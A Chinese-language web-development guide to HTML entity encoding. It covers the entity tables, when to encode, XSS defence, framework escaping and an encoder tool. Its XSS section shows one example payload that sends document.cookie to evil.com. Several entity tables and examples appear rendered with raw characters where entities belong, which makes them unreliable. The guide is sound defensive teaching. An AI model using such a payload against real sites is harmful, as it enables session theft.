HTML實體編碼指南:保護您的網頁
如果你曾試圖在網頁上將 <div> 標籤顯示為文字,結果看到它消失在DOM中,那你已經知道這個問題了。瀏覽器將某些字元解釋為標記指令,而非內容。HTML實體就是告訴瀏覽器:「按字面意思顯示這個字元,不要解釋它。」
本指南涵蓋了你實際會用到的實體、編碼何時重要,以及如何避免因跳過編碼而產生的安全漏洞。
HTML實體為什麼存在
HTML使用少數幾個字元作為結構分隔符。最重要的三個:
<開啟標籤>關閉標籤&開始實體參照
當瀏覽器的解析器遇到 <script> 時,它不會顯示文字——而是執行JavaScript。當遇到 © 時,它渲染 ©。這種雙重用途的特性意味著,如果你想將這些字元顯示為可見文字,就需要使用HTML實體來跳脫它們。
HTML實體是一個以 & 開頭、以 ; 結尾的字串。在這兩個分隔符之間是命名參照(如 amp)或數字碼位(如 #38)。
常用HTML實體參考表
以下是你最常用到的實體:
| 字元 | 命名實體 | 數字實體 | 描述 |
|---|---|---|---|
& | & | & | 和號 |
< | < | < | 小於號 |
> | > | > | 大於號 |
" | " | " | 雙引號 |
' | ' | ' | 單引號(撇號) |
| (空格) | |   | 不斷行空格 |
| © | © | © | 版權符號 |
| — | — | — | 長破折號 |
| … | … | … | 省略號 |
| € | € | € | 歐元符號 |
| ™ | ™ | ™ | 商標符號 |
前五個是必須掌握的。如果你要渲染任何使用者生成的內容或顯示程式碼,&、<、>、" 和 ' 會被不斷使用。
不斷行空格:微妙的存在
防止兩個詞之間換行。它不只是「一個額外的空格」——瀏覽器會將多個普通空格摺疊為一個,但 總是會被渲染。用途:
- 保持數字和單位在一起:
100 km - 防止段落末尾出現孤立單字
- 格式化價格:
$ 99.99
不要用 來做版面間距。那是CSS的 margin 和 padding 的工作。
命名實體 vs 數字實體 vs 十六進位實體
同一個實體有三種寫法:
<!-- 命名實體 -->
&
<!-- 十進位數字實體 -->
&
<!-- 十六進位數字實體 -->
&
三種都會產生和號字元 &。各自的使用場景:
命名實體(&、<、©)可讀性強且具有自文件化特性。當有人閱讀HTML原始碼時,& 能立即傳達意圖。用於常見字元。
十進位數字實體(&、©)適用於任何Unicode碼位,包括沒有命名參照的字元。當你需要沒有命名實體的字元,或以程式方式產生HTML時使用。
十六進位實體(&、©)與十進位相同,但使用十六進位表示法。當你使用Unicode表(以十六進位列出碼位)或工具輸出十六進位值時很有用。
實務上,常見字元用命名實體,其他情況用數字實體。命名實體在所有瀏覽器中都受支援,且在原始碼中更易閱讀。
何時編碼HTML字元
顯示程式碼片段
如果你的頁面展示程式碼範例,每個 < 和 > 都需要編碼:
<!-- 這會出問題 -->
<p>使用 <div> 標籤作為容器。</p>
<!-- 這才正確 -->
<p>使用 <div> 標籤作為容器。</p>
大多數範本引擎和框架在使用標準輸出語法時會自動處理(例如範本語言中的 {{ variable }} 或JSX中的 {variable})。但當你撰寫原始HTML或使用 innerHTML 注入內容時,就只能靠自己了。
使用者生成內容
任何來自使用者的內容——表單輸入、留言、個人資料欄位、搜尋查詢——都必須在渲染前進行編碼。這是安全要求,不是可選的。
HTML電子郵件
郵件用戶端在字元渲染方面出了名地不一致。將特殊字元編碼為實體可確保它們在Gmail、Outlook、Apple Mail及其他所有用戶端中正確顯示。這對 &、" 和非ASCII符號尤為重要。
內容管理系統
如果你正在建構或使用CMS,內容管線應在輸出階段編碼HTML實體。儲存在資料庫中的內容可以是原始的,但到達瀏覽器的內容必須經過跳脫。
XSS防護:編碼為什麼是安全問題
在將使用者輸入渲染到HTML之前未進行編碼,是跨站腳本(XSS)漏洞最常見的原因。這不是理論風險——XSS持續位於OWASP Top 10榜單中,並被積極利用。
XSS的運作原理
考慮一個顯示使用者搜尋內容的搜尋頁面:
<!-- 伺服器渲染這個 -->
<p>您搜尋了:使用者輸入</p>
如果使用者輸入正常文字如 javascript tutorials,沒有問題。但如果他們輸入:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
如果沒有編碼,瀏覽器會將其視為真正的 <script> 標籤並執行。攻擊者現在獲得了受害者的cookie、工作階段權杖,以及可能的完整帳戶存取權限。
解決方案
在將任何不可信資料插入HTML之前,編碼五個關鍵字元:
| 字元 | 實體 | 重要原因 |
|---|---|---|
& | & | 防止實體注入 |
< | < | 防止標籤注入 |
> | > | 關閉注入的標籤 |
" | " | 防止屬性逸出 |
' | ' | 防止屬性逸出(單引號) |
這是一個最小的編碼函式:
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
注意順序:& 必須最先替換。如果你先替換 <(產生 <),然後替換 &(將 < 變成 &lt;),就會導致雙重編碼。
僅靠編碼無法涵蓋所有XSS上下文。如果你將使用者資料插入JavaScript、CSS或URL屬性中,需要針對具體上下文的編碼。HTML實體編碼僅保護HTML正文和屬性上下文。
框架層級的保護
現代框架預設處理編碼:
- React:JSX自動跳脫
{}運算式中的值。使用dangerouslySetInnerHTML會繞過此保護——不要用於使用者內容。 - Angular:範本繫結會自動消毒。
[innerHTML]繞過消毒。 - Vue:Mustache語法
{{ }}自動跳脫。v-html不會。 - 伺服器端範本(EJS、Jinja2、Twig):大多數預設跳脫,但請檢查你的設定。
模式是一致的:標準路徑是安全的,並且總有一個用於原始HTML的逸出口。永遠不要讓使用者輸入通過逸出口。
使用我們的工具編碼HTML
需要快速編碼或解碼HTML實體?我們的HTML編碼器工具可以即時處理:
- 貼上文字,一鍵獲得編碼輸出
- 支援所有命名和數字實體
- 將實體解碼回可讀文字
- 所有處理在客戶端完成——你的資料永遠不會離開瀏覽器
特別適用於準備HTML電子郵件內容、為文件編碼程式碼片段或在嵌入範本前對文字進行消毒。
常見錯誤
雙重編碼:將文字通過編碼器處理兩次會把 & 變成 &amp;。如果你在頁面上看到 & 顯示為字面文字,說明你在管線的某個地方做了雙重編碼。
在 <script> 標籤內編碼:HTML實體編碼在腳本區塊內不起作用。JavaScript解析器不理解 <——它將其視為字面字串 <。對於內嵌腳本,請使用JavaScript字串跳脫。
用 做間距:這會造成無障礙問題。螢幕閱讀器可能會逐個朗讀每個不斷行空格。請使用CSS進行視覺間距。
忘記屬性值:編碼不僅僅是針對文字內容。屬性值也需要編碼,特別是當它們包含使用者輸入時:
<!-- 危險 -->
<input value="使用者輸入">
<!-- 安全 -->
<input value=""已編碼的" 值">
快速參考:編碼決策樹
- 內容是使用者生成的嗎? → 始終編碼
- 你在顯示程式碼嗎? → 編碼
<、>和& - 它要放在HTML屬性中嗎? → 還要編碼
"和' - 它要放在URL中嗎? → 使用URL編碼(參見我們的URL編碼指南)
- 它要放在JavaScript中嗎? → 使用JavaScript跳脫,而不是HTML實體
相關資源
- Base64編碼詳解 — 理解網頁開發的另一種基本編碼格式
- URL編碼指南 — 了解何時以及如何在URL中進行百分比編碼
- HTML編碼器工具 — 在瀏覽器中即時編碼和解碼HTML實體
🛠️ 試試我們的HTML編碼器,在瀏覽器中直接編碼和解碼HTML實體——不向任何伺服器傳送資料。